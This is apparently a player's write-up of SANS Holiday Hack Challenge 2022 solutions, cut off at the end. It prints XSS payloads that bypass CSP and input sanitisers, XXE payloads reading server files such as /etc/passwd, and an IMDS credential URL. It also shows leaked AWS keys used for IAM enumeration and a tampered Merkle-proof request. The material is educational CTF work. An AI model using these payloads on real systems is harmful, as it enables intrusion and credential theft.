                                  ░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒░░                ░░              
                              ░░▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒                ░░            
                          ░░▒▒▒▒▓▓▓▓▓▓▓▓▓▓░░              ▓▓▓▓▓▓▓▓▒▒░░░░            ░░░░          
          ░░            ░░▒▒▓▓▓▓▓▓▓▓                            ▓▓▓▓▓▓▒▒░░            ░░░░        
                      ░░▒▒▓▓▓▓▓▓                                    ▓▓▒▒▒▒░░          ░░░░        
                      ▒▒▓▓▓▓▓▓                                        ▓▓▓▓▒▒░░          ░░░░      
      ░░            ▒▒▓▓▓▓▓▓                                            ▓▓▒▒░░░░        ░░░░▒▒    
                  ░░▒▒▓▓▓▓░░                                            ░░▒▒▒▒░░░░      ░░░░▒▒    
                  ░░▓▓▓▓▓▓                                                ▓▓▒▒░░░░      ░░░░▒▒    
    ░░            ▒▒▓▓▓▓                                                    ▒▒░░░░        ░░▒▒▒▒  
    ░░          ░░▓▓▓▓▓▓                                                    ▒▒▒▒░░░░      ░░▒▒▒▒  
    ░░          ▒▒▓▓▓▓                                                        ▒▒░░░░      ░░▒▒▒▒  
                ▒▒▓▓▓▓                                                        ▒▒░░░░░░    ░░▒▒▒▒  
  ░░          ░░▓▓▓▓▒▒                                                        ▒▒░░░░░░    ░░▒▒▒▒▓▓
  ░░          ▒▒▓▓▓▓                                                            ░░░░░░░░  ░░▒▒▒▒▓▓
  ░░          ▒▒▓▓▓▓                                                            ░░░░░░░░  ░░▒▒▒▒▓▓
  ░░          ▒▒▓▓▓▓               oI40zIuCcN8c3MhKgQjOMN8lfYtVqcKT             ░░░░░░░░  ░░▒▒▒▒▓▓
  ░░░░        ▒▒▓▓▓▓                                                            ░░░░  ░░░░░░▒▒▒▒▓▓
  ░░░░        ▒▒▓▓▓▓                                                            ░░    ░░░░▒▒▒▒▒▒▓▓
  ▒▒░░        ▒▒▓▓▓▓                                                            ░░    ░░░░▒▒▒▒▒▒▓▓
  ▒▒░░░░      ▒▒▓▓▓▓                                                            ░░    ░░░░▒▒▒▒▒▒▓▓
  ▓▓░░░░      ░░▓▓▓▓▒▒                                                        ░░      ░░░░▒▒▒▒▓▓▓▓
    ▒▒░░        ▒▒▓▓▓▓                                                        ░░    ░░░░▒▒▒▒▒▒▓▓  
    ▒▒░░░░      ░░▓▓▓▓                                                        ░░    ░░░░▒▒▒▒▓▓▓▓  
    ▓▓▒▒░░      ░░▒▒▓▓▓▓                                                    ░░      ░░▒▒▒▒▒▒▓▓▓▓  
    ▓▓▒▒░░░░      ▒▒▒▒▓▓                                                          ░░░░▒▒▒▒▒▒▓▓▓▓  
      ▒▒▒▒░░░░    ▒▒▒▒▒▒▒▒                                                        ░░▒▒▒▒▒▒▒▒▓▓    
      ▓▓▒▒░░░░    ░░░░▒▒▒▒▓▓                                            ░░      ░░░░▒▒▒▒▒▒▓▓▓▓    
        ▒▒▒▒░░░░    ░░▒▒▒▒▒▒▒▒                                        ░░      ░░░░▒▒▒▒▒▒▒▒▓▓      
          ▓▓▒▒░░░░  ░░░░░░░░▒▒▓▓                                    ░░      ░░░░▒▒▒▒▒▒▓▓▓▓        
          ▓▓▓▓▒▒░░░░░░░░░░░░░░▒▒▒▒▓▓                            ░░        ░░░░▒▒▒▒▒▒▓▓▓▓▓▓        
            ▓▓▓▓▒▒░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒                ░░░░          ░░░░▒▒▒▒▒▒▓▓▓▓▓▓          
              ▓▓▓▓▒▒░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░                ░░░░▒▒▒▒▒▒▓▓▓▓▓▓            
                ▓▓▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░                        ░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓              
                  ▓▓▓▓▓▓▒▒▒▒░░░░░░░░░░░░░░░░              ░░░░░░░░▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓                
                    ▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒░░░░░░░░░░░░░░░░░░░░░░░░▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓                  
                      ██▓▓▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓▓▓▓▓██                    
                          ██▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓██                        
                            ████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████                          
                                ████████▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓████████                              
                                ░░░░░░░░▓▓██████████████████░░░░░░░░                              
root@wordpress:~#

Yay!! I got it!!!!
My favorite challenge in HHC 2022 was this challenge!

Recover the Web Ring

As for the Web genre, there were no standard challenges like the session stealing or SQL Injection, but mainly log analysis, XXS, CSP, and XXE. it was good to be exposed to XXE and CSP, as I didn't have much knowledge or experience with them.

Naughty IP

Use the artifacts from Alabaster Snowball to analyze this attack on the Boria mines. Most of the traffic to this site is nice, but one IP address is being naughty! Which is it? Visit Sparkle Redberry in the Web Ring for hints.

I got log fileweberror.log and pcap filevictim.pcap.
In the weberror.log, there were the HTTP Stats code. And I guess the "Naughty access" must recorded many 4xx errors, and grep 40 in the log file. The many records of IP address 18.222.86.32 with 4xx access found.

So, the answer is this address.

Credential Mining

The first attack is a brute force login. What's the first username tried?

We can't catch the request body from weberror.log, so I opened victim.pcap on wireshark. I set the filter

ip.src_host == 18.222.86.32  && http.request.method  == POST

and checked the first transmission, I found username = alice.

404 FTW

The next attack is forced browsing where the naughty one is guessing URLs. What's the first successful URL path in this attack?

I used the weberror.log again, and checked the transmission of 18.222.86.32. At first, the login attempts were requested continuously. Next, it requests GET to many kind of paths. Then, the first success access was,

18.222.86.32 - - [05/Oct/2022 16:47:46] "GET /proc HTTP/1.1" 200 -

This path is the answer.

IMDS, XXE, and Other Abbreviattions

The last step in this attack was to use XXE_Processing) to get secret keys from the IMDS service. What URL did the attacker force the server to fetch?

I still continued to parse weberror.log, and found the request which seems as XXE (xml). After these xml records, I found the uri which usually used to IMDS attack.

http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

This is the answer.

Open Boria Mine Door

I solved this challenge in the middle of December 2022 but didn't use any hints, either consider CSP or replacement script src. Because I sent my payload only "Enter" the key from the beginning...
Howevere, it came time to write this report, I tried to send my payload with "GO" button. Then, I noticed my previous payload doesn't work in some pins. So, I re-solved this challenge and found this was more fun and educational challenge than I thought

Open the door to the Boria Mines. Help Alabaster Snowball in the Web Ring to get some hints for this challenge.

It seems a game that connecting the pipes with input words.

At first, I tried many letters in various language. But didn't work. The pipe wasn't connected.
Then, I recall that we have a special character for making tree figure, . With this character, I unlocked the first object.

─────────────

But from next object, I couldn't use this strategy because of

  1. I have to change color of the letter
  2. The position is not fit with only <br>
  3. I couldn't create sloped line, or step

for 1st issue, it's easy to overcome. I found that I can use <scripts> with input form.
When I want to make blue line, I have to add just <font color=blue></font>.

So, it has DOM Based XSS vulnerability. The hints are also suggest this.

Then, back to the issues. I want to fit the position freely than using <br>.
I googled about xss and draw lines, and found this site.

I tried the top sample svg script to Object1.

<svg width="400" height="110">
  <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
</svg>

It seems work!

Then, I searched how to draw line with svg, and referred here, I could manage my line as I thought.

pin1

<svg height="200" width="200">
  <line x1="0" y1="20" x2="200" y2="20" style="stroke:white;stroke-width:20" />
</svg>

pin2

<svg height="200" width="200">
  <line x1="0" y1="70" x2="200" y2="150" style="stroke:white;stroke-width:20" />
</svg>

I just changed the position of the lilne.

pin3

<svg height="200" width="200">
  <line x1="0" y1="100" x2="200" y2="20" style="stroke:blue;stroke-width:20" />
</svg>

Hmm, it doesn't work. If I tried to another window (like Top-Left), it works. Something is blocking this request...
Then, I checked the response of "pin3", and compared with "pin2" response.

$ diff pin2.html pin3.html 
7,8c7,9
<     <meta http-equiv="Content-Security-Policy" content="default-src 'self';script-src 'self';style-src 'self' 'unsafe-inline'">
<     <title>Lock 2</title>
---
>     <meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'; style-src 'self'">
>     <!-- <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"> -->
>     <title>Lock 3</title>
12,13c13,14
<     <form method='post' action='pin2'>
<         <!-- TODO: FILTER OUT HTML FROM USER INPUT -->
---
>     <form method='post' action='pin3'>
>         <!-- TODO: FILTER OUT JAVASCRIPT FROM USER INPUT -->

Content-Security-Policy had changed!
In pin2, the "style-src" allowed "unsafe-inline", but in pin3, they allows "unsafe-inline" only on "script-src".
Then, I have to avoid to use "style" inline. But, we can still use unsafe-inline as a script.

I refferred these sites.

Then, I changed just remove "style" from the script.

<svg height="200" width="200">
  <line x1="0" y1="100" x2="200" y2="20" stroke="blue" stroke-width="20" />
</svg>

Yay, it works🙌

pin4

I did the same way as pin3.

<svg height="200" width="200">
  <line x1="0" y1="40" x2="200" y2="40" stroke="white" stroke-width="20"/>
  <line x1="0" y1="130" x2="200" y2="130" stroke="blue" stroke-width="20"/>
</svg>

Hmm, it doesn't work again... The input script was shown as letter.
I got the response again, and compare to pin3. I found the replace script.

<script>
    const sanitizeInput = () => {
        const input = document.querySelector('.inputTxt');
        const content = input.value;
        input.value = content
            .replace(/"/, '')
            .replace(/'/, '')
            .replace(/</, '')
            .replace(/>/, '');
    }
</script>

But, this replace works only once. So, it's very easy to avoid by adding these replace target letters at the beginning.

<>"<svg height="200" width="200">
  <line x1="0" y1="40" x2="200" y2="40" stroke="white" stroke-width="20"/>
  <line x1="0" y1="130" x2="200" y2="130" stroke="blue" stroke-width="20"/>
</svg>

It works!

pin5

Here's another block strategy on this pin. I checked the response at first.
The replacement script was changed into

<script>
    const sanitizeInput = () => {
        const input = document.querySelector('.inputTxt');
        const content = input.value;
        input.value = content
            .replace(/"/gi, '')
            .replace(/'/gi, '')
            .replace(/</gi, '')
            .replace(/>/gi, '');
    }
</script>

This time, the replacement will be executed to all letters. We have to avoid this replacement fileter.
I struggled with finding the way to avoid this filter, and tried like

\<s\>test\</s\>
&lt;s&gt;test&lt/s&gt

These queries, but didn't work.
Then, I re-read the script which includes the replacement function. My idea is skipping this replacement operation itself.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'; style-src 'self'">
    <title>Lock 5</title>
    <link rel="stylesheet" href="pin.css">
    <script>
        const sanitizeInput = () => {
            const input = document.querySelector('.inputTxt');
            const content = input.value;
            input.value = content
                .replace(/"/gi, '')
                .replace(/'/gi, '')
                .replace(/</gi, '')
                .replace(/>/gi, '');
        }
    </script>
</head>
<body>
    <form method='post' action='pin5'>
        <input class='inputTxt' name='inputTxt' type='text' value='' autocomplete='off' onblur='sanitizeInput()' />
        <button>GO</button>
    </form>
    <div class='output'></div>
    <img class='captured'/>
    
    <script src='js/e6c0fc3fb327aed95d767e6fac9ab40a75a81b7c.js'></script>
    <script src='pin.js'></script>
</body>
</html>

The name of the replacement function is, sanitizeInput. And it's called when onblur.

onblur='sanitizeInput()

Oh, it means, if I can send this request without leaving the input field. So, I tried without pushing "Go" button, but just submit this input field by enter key.

<svg height="200" width="200">
  <line x1="0" y1="130" x2="200" y2="40" stroke="red" stroke-width="20"/>
  <line x1="0" y1="200" x2="200" y2="90" stroke="blue" stroke-width="20"/>
</svg>

Yay! It worked!!

pin6

The restriction is almost same as pin3. The difference was, the CSP from

<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'; style-src 'self'">

to

<meta http-equiv="Content-Security-Policy" content="script-src 'self'; style-src 'self'">

At first, I just tried to increase the line.

<svg viewBox="0 0 200 200" xmlns="http://www.w3.org/2000/svg">
  <line x1="0" y1="30" x2="200" y2="30" stroke="lime" stroke-width="20"/>
  <line x1="0" y1="80" x2="200" y2="100" stroke="red" stroke-width="20"/>
  <line x1="0" y1="120" x2="200" y2="200" stroke="blue" stroke-width="20"/>
</svg>

Oh, It works!
The final image was,

Glamtariel's Fountain

Stare into Glamtariel's fountain and see if you can find the ring! What is the filename of the ring she presents you? Talk to Hal Tandybuck in the Web Ring for hints.

At first, I enjoyed the game which is talk with princess and fountain using the small images.
After some attaking challenges, I met the Grinchum. But I can't find the way to make some progress in this challenge.

Then, I began to check their words carefully, because one of the hint of this challenge says, "Early parts of this challenge can be solved by focusing on Glamtariel's WORDS."

Kringle really likes the cookies here so I always make them the same way.
Kringle really dislikes it if anyone tries to TAMPER with the cookie recipe Glamtariel uses.

According to this conversation, may be we shouldn't change the cookies. Before reading this conversation carefully, I tried to change the cookies (and using & cheating the snacks), but it ended to only the appearance of the Grincham.

{
  "appResp": "Trying to TAMPER with Kringle's favorite cookie recipe or the entrance tickets can't help you Grinchum! I'm not sure what you are looking for but it isn't here! Get out!^Miserable trickster! Please click him out of here.",
  "droppedOn": "none",
  "visit": "static/images/grinchum-supersecret_9364274.png,265px,135px"
}

I found that somethimes, the response shows the path of the images kindly. Of corse, we can confirm the path of the images by watching network traffic as well. I usually use the Google chrome developer tool, so this time, I also used this tool.

For a long time, I continued to talk with princess & fountain, with checking the Network. Sometime, I tried to find something with path traversal, or some other web attacking methods, but no one worked.

When I tried https://glamtarielsfountain.com/static/images/, I only got

{
  "appResp": "Lost, like Grinchum.^Lost, like Grinchum.",
  "droppedOn": "none",
  "visit": "none"
}

I also tried "XXE" which was the second hint of this challenge, and I found that if I chaged the "Content-type: application/xml" for my request, the response from princess & fountain changed as

{
  "appResp": "Zoom, Zoom, very hasty, can't do that yet!^Zoom, Zoom, very hasty, can't do that yet!",
  "droppedOn": "none",
  "visit": "none"
}

So, I guess that it was the first step for XXE. But that's all.

After a few days, I found that there is a next stage, I mean the image has changed! So, I should have played more with them. Then, I got another image (static/images/stage2ring-eyecu_2022.png), and after that, I found the 3rd stage, which the colorful rings appeared.

In this stage, I can use the "Content-type: application/xml" request, and the response has changed. Now, I understand what fountain means "can't do that yet!".

So, I gathered the all conversations with princess and fountain, and realize that there were sometime unnatulal capital letters. I listed up the capital words.

  1. Kringle really dislikes it if anyone tries to TAMPER with the cookie recipe Glamtariel uses.
  2. The elves do a great job making PATHs which are easy to follow once you see them
  3. Will learn from how the TRAFFIC FLIES
  4. many who have tried to find the PATH here uninvited have ended up very disAPPointe
  5. I like to keep track of all my rings using a SIMPLE FORMAT
  6. I keep a list of all my rings in my RINGLIST file

From these informations (& other conversations & hints), I guess we should send them in xml format & XXE attack.

Then, I started to use burp, and tampered the request when we talk with them. The original information for request is here. *I dropped some unnecessary information.

:authority: glamtarielsfountain.com
:method: POST
:path: /dropped
:scheme: https
accept: application/json
accept-encoding: gzip, deflate, br
accept-language: ja
content-length: 52
content-type: application/json
cookie: MiniLembanh=b73cf367-a74e-4a0a-adb9-b100c0292437.6wV3gecnsTFMTAA2rNoobcvhkZo; GCLB="6a4bca09fa379109"
origin: https://glamtarielsfountain.com
referer: https://glamtarielsfountain.com/
x-grinchum: IjQwNjEyZGZlMzYwNmMzYmIzZDE2MzkzYjUzODg3NDcwYmVkZjEyMjMi.Y5rkTg.bCZoi8yByU3Hml8FB1NNBY0PYmU

[Payload]
{imgDrop: "img*", who: "princess", reqType: "json"}

The first challenge was changing the content-type and reqType in payload.

reqType: "xml"

The response changed into

{
  "appResp": "We don't speak that way very often any more. Once in a while perhaps, but only at certain times.^I don't hear her use that very often. I think only for certain TYPEs of thoughts.",
  "droppedOn": "none",
  "visit": "none"
}

Ok, it kind of works. I sent therequest with xml format.

content-type: application/xml
[Payload]
<?xml version="1.0" encoding="utf-8"?>
<Request>
  <imgDrop>img4</imgDrop>
  <who>princess</who>
  <reqType>xml</reqType>
</Request>

The response became

{
  "appResp": "I love rings of all colors!^She definitely tries to convince everyone that the blue ones are her favorites. I'm not so sure though.",
  "droppedOn": "none",
  "visit": "none"
}

It's the same response as json format! It means, the princess can talk with xml with this way.

When I changed the Payload <who> to fountain, but he said that he can't speak xml. So we should talk to princess in xml format.

Then, I checked the XXE, and learn how the XXE works. Luckily, there was a sample, and I tried to fetch somthing from their site like that.

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE imgDrop [
   <!ELEMENT imgDrop ANY >
   <!ENTITY xxe SYSTEM  "file:///etc/passwd" >]>
<Request>
  <imgDrop>&xxe;</imgDrop>
  <who>princess</who>
  <reqType>xml</reqType>
</Request>]>

I couldn't guess what will be happen. Because the reply for this XXE request won't return directly in its response. But anyway, I tried.
The reply was,

{
  "appResp": "Sorry, we dont know anything about that.^Sorry, we dont know anything about that.",
  "droppedOn": "none",
  "visit": "none"
}

Hmm, even if I collapsed xml format, they return the same response. So I used xml format checker and tried many paths expecting something will happen.

According to the hints from princess and fountain, and the structure of the other images, I tried to access the "ringlist" which princess mentioned.
She said it's in the "simple format", so I guess it's text file.

The image file structure was, static/images/{imagename}.{format}. And, I have the hints which I didn't use yet, "APP" and "RINGLIST".

Then, I found the right path. Which was file:///app/static/images/ringlist.txt.

She said "I don't keep any secrets in it any more!", and she also showed me the folder name and list of the rings. And, the image's name was, "pholder-morethantopsupersecret63842.png", which we can guess "there is more than top super secret". So, I tried to access this "pholder", in the same way. After tried "bluering" and "redring", I also tried "silverring"

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE imgDrop [
   <!ELEMENT imgDrop ANY >
   <!ENTITY xxe SYSTEM  "file:///app/static/images/x_phial_pholder_2022/silverring.txt" >]>
<Request>
  <imgDrop>&xxe;</imgDrop>
  <who>princess</who>
  <reqType>xml</reqType>
</Request>]>

The response was,

{
  "appResp": "I'd so love to add that silver ring to my collection, but what's this? Someone has defiled my red ring! Click it out of the way please!.^Can't say that looks good. Someone has been up to no good. Probably that miserable Grinchum!",
  "droppedOn": "none",
  "visit": "static/images/x_phial_pholder_2022/redring-supersupersecret928164.png,267px,127px"
}

Oh, inner the red ring, I can find a file name. So, I accessed the file in the same way (file:///app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt).

The response was,

{
  "appResp": "Hmmm, and I thought you wanted me to take a look at that pretty silver ring, but instead, you've made a pretty bold REQuest. That's ok, but even if I knew anything about such things, I'd only use a secret TYPE of tongue to discuss them.^She's definitely hiding something.",
  "droppedOn": "none",
  "visit": "none"
}

In the princess's response, there are capital words again. "REQ" and "TYPE". So, I tried to change the "reqType" in request body, but not worked. I tried many patternes to talk with her in secret way, like using "hidden" option. But nothing worked.

Then, I changed my mind simply, and recall that this is not the "real" attack, but the game. Then, I tried to change the XXE position from "imgDrop" to "reqType".

<?xml  version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE imgDrop [
   <!ELEMENT imgDrop ANY >
   <!ENTITY xxe SYSTEM  "file:///app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt" >]>
<Request>
  <imgDrop>img1</imgDrop>
  <who>princess</who>
  <reqType>&xxe;</reqType>
</Request>]>

Oh, it worked...!
And, I got Kringle's golden rings. The answer for this objective was, the filename of this image, which in the princess's response.

{
  "appResp": "No, really I couldn't. Really? I can have the beautiful silver ring? I shouldn't, but if you insist, I accept! In return, behold, one of Kringle's golden rings! Grinchum dropped this one nearby. Makes one wonder how 'precious' it really was to him. Though I haven't touched it myself, I've been keeping it safe until someone trustworthy such as yourself came along. Congratulations!^Wow, I have never seen that before! She must really trust you!",
  "droppedOn": "none",
  "visit": "static/images/x_phial_pholder_2022/goldring-morethansupertopsecret76394734.png,200px,290px"
}

I spent a very long time on this challenge. If I had thought of it as a guessing game rather than an "security learning" or "attack simulation" from the start, I might have solved it a little more easily.

Recover the Cloud Ring

My specialism is mainly development and operations with Public Cloud, although not AWS, so the Cloud Ring genre was not that new to me. However, I've never heard of "Trufflehog" before, and it's good to know that it's a great idea to use it as a security monitoring tool for our development environment. I think I'll give it a try.

AWS CLI Intro

Try out some basic AWS command line skills in this terminal. Talk to Jill Underpole in the Cloud Ring for hints.

I learned how to set the aws configurations and get user information via aws commands.

Use Trufflehog to find secrets in a Git repo. Work with Jill Underpole in the Cloud Ring for hints. What's the name of the file that has AWS credentials?

I reached the terminal next to elf Sulfrod.

Use Trufflehog to find credentials in the Gitlab instance at https://haugfactory.com/asnowball/aws_scripts.git.
Configure these credentials for us-east-1 and then run:
$ aws sts get-caller-identity

At first, I got the repository.

$ git clone https://haugfactory.com/asnowball/aws_scripts.git

It was my first time to hear about "Trufflehog", so I searched about this tool. It seems to be a tool for extracting information such as key for git or some other mejor clouds from repositories. Let's try it.

$ trufflehog git https://haugfactory.com/asnowball/aws_scripts.git
🐷🔑🐷  TruffleHog. Unearth your secrets. 🐷🔑🐷

Found unverified result 🐷🔑❓
Detector Type: AWS
Decoder Type: PLAIN
Raw result: AKIAAIDAYRANYAHGQOHD
Commit: 106d33e1ffd53eea753c1365eafc6588398279b5
File: put_policy.py
Email: asnowball <alabaster@northpolechristmastown.local>
Repository: https://haugfactory.com/asnowball/aws_scripts.git
Timestamp: 2022-09-07 07:53:12 -0700 -0700
Line: 6

(...omit...)

Many hogs!!!!!
The firs one was for AWS, so I switched to that commit, and checked the file which was found by Trufflehog.

$ git checkout -b suspicious 106d33e1ffd53eea753c1365eafc6588398279b5
Switched to a new branch 'suspicious
$ cat put_policy.py
import boto3
import json


iam = boto3.client('iam',
    region_name='us-east-1',
    aws_access_key_id="AKIAAIDAYRANYAHGQOHD",
    aws_secret_access_key="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",
)
# arn:aws:ec2:us-east-1:accountid:instance/*
response = iam.put_user_policy(
    PolicyDocument='{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["ssm:SendCommand"],"Resource":["arn:aws:ec2:us-east-1:748127089694:instance/i-0415bfb7dcfe279c5","arn:aws:ec2:us-east-1:748127089694:document/RestartServices"]}]}',
    PolicyName='AllAccessPolicy',
    UserName='nwt8_test',
)

The key_id and secret are clearly written.
Then, the answer for this challenge was, put_policy.py.

Exploitation via AWS CLI

I set the credentials which I got from previous challenge to my aws configure as I did in previous challenge, and get the information of this credential's owner.

$ aws configure
AWS Access Key ID [None]: AKIAAIDAYRANYAHGQOHD
AWS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [None]:
$ aws sts get-caller-identity
{
    "UserId": "AIDAJNIAAQYHIAAHDDRA",
    "Account": "602123424321",
    "Arn": "arn:aws:iam::602123424321:user/haug"
}

And, the next challenge appeared.

Managed (think: shared) policies can be attached to multiple users. Use the AWS CLI to find any policies attached to your user.
The aws iam command to list attached user policies can be found here:
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html
Hint: it is NOT list-user-policies.

based on the previous challenge, the username was "haug". So, I set the username and got its attached policies with below command.

$ aws iam list-attached-user-policies --user-name haug

In the similar way, I searched the aws commands related to the iam/s3/lambda, and got each information using the credential which I got from the git repository.

In this challenge, I learned how to get the information from aws commands. And, I learned and experienced that by using leaked credentials, the attacker easily get a lot of information. So, keep secrets safe is very important.

Recover the Burning Ring of Fire

It was good to learn about Smart Contract, which is still unfamiliar to me in Burning Ring. Like other genres, it was probably quite rudimentary + simplified, but I enjoyed working on it thanks to the contents and introductions, which I was able to learn and understand during the challenge. In particular, the "Merkle Tree" was new to me, but I was very interested in the basic structure, what it is used for and even the amount of calculations involved.
I learned the most new things from this challenge. Thank you very much.

Buy a Hat

Travel to the Burning Ring of Fire and purchase a hat from the vending machine with KringleCoin. Find hints for this objective hidden throughout the tunnels.

From this challenge, I learned not only how to buy a hat, but also how to use the smart contract to buy something. I feel "experience" is very important and the best shortcut for learning something, so this challenge helped us for next challenges.

I checked the hat vending machine, and found the best hat for me! It says,

To purchase this hat you must:
Use a KTM to pre-approve a 10 KC transaction to the wallet address: 0x0D4A1bC17Cc0429dABB003D5fDABA1e62506Ca20
Return to this kiosk and use Hat ID: 590 to complete your purchase.
Copy this information down - you need it!
Thank you for using Santa's Hat Vending Machine!
Santa's Remarkably Cool Hat Vending Machine
Everybody looks better in a hat!
Hat style: Santa 2

I got it. I went to the "KTM" next to the hat vending machine, and chose "`Approve the KringleCoin Transfer".

"To" Address: 0x0D4A1bC17Cc0429dABB003D5fDABA1e62506Ca20
Amount (KC): 10
Your Key: xxx

I used the key, which I got in my orientation with my wallet address.
After that, I went to the vending machine again. This time, I chose "Approved the transaction?", and set my wallet address & hat ID, and push "Make your purchase!".

I got a nice Santa hat with a wad of cash!

Blockchain Divination

Use the Blockchain Explorer in the Burning Ring of Fire to investigate the contracts and transactions on the chain. At what address is the KringleCoin smart contract deployed? Find hints for this objective hidden throughout the tunnels.

Find a transaction in the blockchain where someone sent or received KringleCoin! The Solidity Source File is listed as KringleCoin.sol. Tom's Talk might be helpful!

I checked the terminal "Blockchain Explorer", and specified Block Number #1, because I thought the record of smart contract deployment should be near the beginning of this records.

I found the statement

Transaction 0
This transaction creates a contract.
"KringleCoin"
Contract Address: 0xc27A2D3DE339Ce353c0eFBa32e948a88F1C86554

And, the address is the answer.

Exploit a Smart Contract

Exploit flaws in a smart contract to buy yourself a Bored Sporc NFT. Find hints for this objective hidden throughout the tunnels.

I checked the target terminal "Bored Sporc Rowboat Society", and got the information that

  • "Bored Sporc" is the digital fashion accessories
  • Now, they are on pre-sale
  • During the pre-sale, the customers only on the allow list (on Merkle Tree) can buy the items

So, as this information, I need to force my wallet address to be registered in the "Merkle Tree". Also, I needs "proof values" hex strings as explained on the pre-sale page.

The hints related to this challenge are below.

Merkle Tree Arboriculture You're going to need a Merkle Tree of your own. Math is hard. Professor Petabyte can help you out.

I checked these sites and movies, and got

  • What is NFT (basic information)
  • Merkle Tree has "Root", "Parent", and "Leaf"
  • Maybe, we should register our wallet address to "Leaf"
  • Leaf can be made with the hash value of the leaf next to, and of parent

Plant a Merkle Tree You can change something that you shouldn't be allowed to change. This repo might help!

Next hint is more practical information. I checked the git repository and found the way to make leaf node value & proof value.

I went through the Readme, and tried to run the docker using Dockerfile in this repository.

$ docker build -t merkletrees .
$ docker run -it --rm --name=merkletrees merkletrees

There was merkle_tree.py and we can run this script without any preparation! How kind!

With this script, we need to input "allowlist" values, and the output is

  • Root value
  • Proof values

So, with this information and the introduction of this challenge (from movies), I guess I have to register my wallet address to this "allow list" and get the Proof value.
But, the Root value is already fixed. How can I make proper root value?
And, we need at least one allowed wallet address for the "hash value of the leaf next to", but how can I get other's wallet address values?

For the "other's wallet address value", I found that in the "Gallery Page" on the BSRS web site. The gallery's owner field seems to show their wallet address. I decided to use the BSRS #000000's owner's address.

And, without changing this script, we can got "Root value" only as a result. So, maybe we must alter the root value against the Presale site.

...But, how?

I checked the network when I send the request in the Presale, and I extracted the request as curl command using chrome developer tools.

curl 'https://boredsporcrowboatsociety.com/cgi-bin/presale' \
  -H 'authority: boredsporcrowboatsociety.com' \
  -H 'content-type: application/json' \
  -H 'origin: https://boredsporcrowboatsociety.com' \
  -H 'referer: https://boredsporcrowboatsociety.com/presale.html?&challenge=bsrs&username=kusuwada&id=2cbdfabf-842a-4d0c-a163-c7a3ed09822e&area=level5&location=15,15&tokens=' \
  (...omit...)
  --data-raw '{"WalletID":"0xF9583c79C3f1F72397dA43dAE4EE623d509b2117","Root":"0x5f4c484f7609319f956e4d38ff761b8788a49c1f68c43a36d11130b9bf77806b","Proof":"0x3ca7b0f306be105d5e5b040af0e2bc35fb95026afcd89f726e8e94994c312f79","Validate":"false","Session":"2cbdfabf-842a-4d0c-a163-c7a3ed09822e"}' \
  --compressed

Oh, the request includes the Root hash as well! Then, let's try the Root & Proof which provided by the script!
I changed the allowlist as below, as 2 leaf nodes. First one was my wallet address, and second one from Gallery.

allowlist = ['0xF9583c79C3f1F72397dA43dAE4EE623d509b2117',
             '0xa1861E96DeF10987E1793c8f77E811032069f8E9']

And, run the script.

$ python merkle_tree.py
Root: 0x5f4c484f7609319f956e4d38ff761b8788a49c1f68c43a36d11130b9bf77806b
Proof: ['0x3ca7b0f306be105d5e5b040af0e2bc35fb95026afcd89f726e8e94994c312f79']

Then, I set the Root and Proof, and my wallet address to the curl command which I got above.

$ curl 'https://boredsporcrowboatsociety.com/cgi-bin/presale'
-H 'authority: boredsporcrowboatsociety.com'
-H 'content-type: application/json'
-H 'origin: https://boredsporcrowboatsociety.com'
-H 'referer: https://boredsporcrowboatsociety.com/presale.html?&challenge=bsrs&username=kusuwada&id=2cbdfabf-842a-4d0c-a163-c7a3ed09822e&area=level5&location=15,15&tokens='
  (...omit...)
--data-raw '{"WalletID":"0xF9583c79C3f1F72397dA43dAE4EE623d509b2117","Root":"0x5f4c484f7609319f956e4d38ff761b8788a49c1f68c43a36d11130b9bf77806b","Proof":"0x3ca7b0f306be105d5e5b040af0e2bc35fb95026afcd89f726e8e94994c312f79","Validate":"false","Session":"2cbdfabf-842a-4d0c-a163-c7a3ed09822e"}'
--compressed

Then, Response was,

{"Response": "Did you approve a 100 KC transaction for our wallet? The transaction failed with \"Insufficient Allowance\"."}

Oh, I didn't. Then, I approved a 100 KC transaction for our wallet, and tried again. The response was,

